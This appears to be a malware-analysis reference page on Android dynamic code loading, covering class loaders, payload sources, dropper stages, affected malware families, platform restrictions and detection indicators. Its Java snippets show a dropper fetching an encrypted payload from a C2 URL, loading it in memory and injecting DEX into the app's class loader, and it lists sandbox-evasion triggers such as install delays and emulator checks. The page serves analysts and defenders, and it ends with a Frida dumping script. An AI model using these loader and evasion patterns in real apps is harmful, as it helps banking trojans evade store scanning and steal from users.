Skip to content

Dynamic Code Loading

Loading executable code at runtime rather than including it in the APK. The APK that passes Google Play Protect scanning contains no malicious code -- the real payload is downloaded, decrypted, or assembled after installation. This is the foundational technique behind dropper-based malware distribution and the primary reason Play Store scanners fail to catch banking trojans at upload time.

See also: Packers, Hooking, Anti-Analysis Techniques

Requirements

Requirement Details
Permission INTERNET (for network-loaded payloads)
Storage Writable directory for DEX files (getFilesDir(), getCacheDir())
API DexClassLoader, InMemoryDexClassLoader, PathClassLoader

No special permissions needed. Any app can load code from its own private storage or memory.

Class Loaders

Android provides multiple class loaders for runtime code loading, each with different capabilities.

DexClassLoader

The standard approach. Loads a DEX or JAR file from disk, outputs an optimized OAT file to a specified directory.

File dexFile = new File(getFilesDir(), "payload.dex");
File optimizedDir = getDir("odex", Context.MODE_PRIVATE);

DexClassLoader loader = new DexClassLoader(
    dexFile.getAbsolutePath(),
    optimizedDir.getAbsolutePath(),
    null,
    getClassLoader()
);

Class<?> payloadClass = loader.loadClass("com.malware.Payload");
Method entryPoint = payloadClass.getMethod("execute", Context.class);
entryPoint.invoke(null, getApplicationContext());

InMemoryDexClassLoader

Introduced in Android 8.0 (API 26). Loads DEX directly from a ByteBuffer without writing to disk. Significantly harder to detect and extract because the payload never touches the filesystem.

byte[] dexBytes = decryptPayload(getEncryptedAsset("config.dat"));
ByteBuffer buffer = ByteBuffer.wrap(dexBytes);

InMemoryDexClassLoader loader = new InMemoryDexClassLoader(
    buffer,
    getClassLoader()
);

Class<?> cls = loader.loadClass("com.malware.Stage2");
cls.getMethod("init", Context.class).invoke(null, this);

PathClassLoader Manipulation

The default PathClassLoader loads the APK's own classes. Malware can manipulate its internal DexPathList to inject additional DEX files into the existing class loader rather than creating a new one. This makes the loaded code appear as part of the original APK to reflection-based inspection.

Object pathList = getField(classLoader, "pathList");
Object[] dexElements = (Object[]) getField(pathList, "dexElements");

Method makeElement = findMakeElementMethod(pathList);
Object newElement = makeElement.invoke(null, payloadDexFile);

Object[] combined = Arrays.copyOf(dexElements, dexElements.length + 1);
combined[dexElements.length] = newElement;
setField(pathList, "dexElements", combined);

Payload Sources

Source Stealth Persistence Used By
Encrypted asset in APK Low (payload in APK, just encrypted) High (survives without network) Harly, most packers
Network download from C2 High (no payload in APK at install) Low (requires C2 availability) Joker, Anatsa, SharkBot
SharedPreferences (Base64) Medium (stored as string data) Medium Joker variants
ContentProvider from another app Medium (payload in separate app) Medium Triada (system-level)
Steganographic image High (payload hidden in PNG/JPEG) Medium (image cached locally) Necro
Expansion files (OBB) Medium (separate download from Play) High Older dropper techniques
Firebase/cloud config High (legitimate service as payload host) Low SpyLoan variants

Multi-Stage Dropper Architecture

The standard architecture for Play Store malware uses staged payload delivery to separate the benign-looking dropper from the malicious functionality.

Stage 1: Play Store Dropper

A functional app (QR scanner, PDF reader, file manager) that passes all Play Store checks. Contains no malicious code. After installation, it contacts C2 to determine whether to activate.

Common activation conditions:

  • Time delay (24-72 hours post-install to evade sandbox analysis)
  • Geographic check (IP geolocation or SIM country code)
  • Device validation (not an emulator, no analysis tools detected)
  • C2 flag (server-side kill switch)

Stage 2: Downloaded Payload

Once activated, Stage 1 downloads the real payload:

OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder()
    .url(c2Url + "/payload/" + deviceId)
    .build();

Response response = client.newCall(request).execute();
byte[] encrypted = response.body().bytes();
byte[] dexBytes = decrypt(encrypted, derivedKey);

File payloadFile = new File(getFilesDir(), "classes.dex");
FileOutputStream fos = new FileOutputStream(payloadFile);
fos.write(dexBytes);
fos.close();

DexClassLoader loader = new DexClassLoader(
    payloadFile.getAbsolutePath(),
    getDir("opt", MODE_PRIVATE).getAbsolutePath(),
    null,
    getClassLoader()
);
loader.loadClass("com.payload.Main")
    .getMethod("start", Context.class)
    .invoke(null, this);

Stage 3: C2 Modules

Some families support modular architecture where individual capabilities are loaded as separate DEX modules from C2:

Module Functionality Loaded When
overlay.dex Inject kit for banking apps Target app detected on device
sms.dex SMS interception Post-privilege escalation
vnc.dex Remote screen access Operator requests session
keylog.dex Accessibility keylogger Always loaded
ats.dex Automated transfer scripts Target bank identified

Reflection-Based Instantiation

After loading a class, malware uses reflection to instantiate and invoke methods without compile-time dependencies. This also defeats static analysis since there are no direct references to the payload classes.

Class<?> cls = loader.loadClass("com.payload.EntryPoint");

Object instance = cls.getDeclaredConstructor().newInstance();

Method init = cls.getDeclaredMethod("initialize", Context.class, String.class);
init.setAccessible(true);
init.invoke(instance, context, c2Url);

Method run = cls.getDeclaredMethod("run");
run.setAccessible(true);
run.invoke(instance);

Families Using Dynamic Code Loading

Family Loading Method Payload Source Stages
Joker DexClassLoader C2 download, SharedPreferences 2-3
Anatsa DexClassLoader C2 download (staged) 3
SharkBot DexClassLoader Auto-update from C2 2
Necro InMemoryDexClassLoader Steganographic PNG 3
Mandrake DexClassLoader Multi-stage C2 delivery 4
Harly DexClassLoader Encrypted APK assets 2
Triada PathClassLoader injection System partition / ContentProvider 2
Xenomorph DexClassLoader Dropper downloads payload APK 2
Hook DexClassLoader Dropper with encrypted asset 2
Vultur DexClassLoader C2 download (encrypted) 3
GoldPickaxe InMemoryDexClassLoader C2 download 2
SpyLoan DexClassLoader Firebase remote config 2

Steganographic Payload Delivery

Steganography as Anti-Detection

Necro (2024) demonstrated a notable technique: the payload DEX is embedded within a PNG image using steganographic encoding. The loader extracts pixel data from the image's alpha channel, reassembles the bytes into a DEX file, and loads it via InMemoryDexClassLoader. The PNG itself is a valid image that displays normally, making it invisible to content-based scanning. Check for high-entropy image assets in the APK's resources and assets directories.

Connection to Packing

Commercial packers and malware dynamic loaders solve the same problem: executing code that is not visible in the APK's primary classes.dex. A packer encrypts the original DEX and bundles a stub that decrypts and loads it at runtime. The only architectural difference is that packers include the encrypted payload within the APK, while malware droppers download it from an external source.

See: Packers for detailed analysis of commercial packing solutions.

Android Restrictions

Version Restriction Impact
Android 8 InMemoryDexClassLoader introduced Enabled fileless payload loading
Android 10 Restricted access to /data/local/tmp Minor -- malware uses app-private dirs
Android 14 Dynamic code loading from writable paths triggers warning DEX files in writable directories flagged by DexFile loading checks
Android 14 ENFORCE_DYNAMIC_CODE_LOADING flag Apps can opt into read-only enforcement for loaded code
Android 15 Stricter enforcement for apps targeting API 35 Loaded DEX must be in read-only paths, breaks writable DexClassLoader pattern

Android 14's restriction is significant: DexClassLoader loading from getFilesDir() or getCacheDir() now logs warnings, and apps targeting API 34+ that set ENFORCE_DYNAMIC_CODE_LOADING will crash if the loaded file is writable. Malware adapts by marking payload files as read-only after writing, or by using InMemoryDexClassLoader to avoid the filesystem entirely.

InMemoryDexClassLoader Leaves No Filesystem Trace

If a sample uses InMemoryDexClassLoader, the payload DEX never touches disk. The only way to capture it is at runtime using Frida hooks on the class loader constructor (see the Frida script above) or by dumping the process memory. Static analysis alone will not reveal the payload.

Detection During Analysis

Static Indicators
  • DexClassLoader or InMemoryDexClassLoader in decompiled code
  • Class.forName() with string-constructed class names
  • Method.invoke() patterns on reflectively loaded classes
  • Encrypted blobs in assets directory (high entropy files)
  • Network URLs in strings referencing .dex, .jar, or .apk downloads
  • getDir("odex") or similar optimized-DEX output directories
Dynamic Indicators
  • New DEX files appearing in app's private storage post-launch
  • Delayed network requests (hours after install) fetching large binary payloads
  • dlopen or System.loadLibrary for native code loading variants
  • Process loading DEX files not present in the original APK
Frida Script -- Dump Dynamically Loaded DEX Files
Java.perform(function() {
    var DexClassLoader = Java.use("dalvik.system.DexClassLoader");
    DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
        console.log("[DCL] Loading DEX from: " + dexPath);
        var f = Java.use("java.io.File").$new(dexPath);
        console.log("[DCL] Size: " + f.length() + " bytes");
        return this.$init(dexPath, optDir, libPath, parent);
    };

    var InMemDCL = Java.use("dalvik.system.InMemoryDexClassLoader");
    InMemDCL.$init.overload("java.nio.ByteBuffer", "java.lang.ClassLoader")
        .implementation = function(buffer, parent) {
            console.log("[IMDCL] In-memory DEX loaded, size: " + buffer.remaining());
            var bytes = Java.array("byte", new Array(buffer.remaining()));
            buffer.get(bytes);
            buffer.rewind();
            var path = "/data/local/tmp/dumped_" + Date.now() + ".dex";
            var fos = Java.use("java.io.FileOutputStream").$new(path);
            fos.write(bytes);
            fos.close();
            console.log("[IMDCL] Dumped to: " + path);
            return this.$init(buffer, parent);
        };

    var ClassLoader = Java.use("java.lang.ClassLoader");
    ClassLoader.loadClass.overload("java.lang.String").implementation = function(name) {
        if (name.indexOf("com.malware") !== -1 || name.indexOf("payload") !== -1) {
            console.log("[CL] loadClass: " + name);
        }
        return this.loadClass(name);
    };
});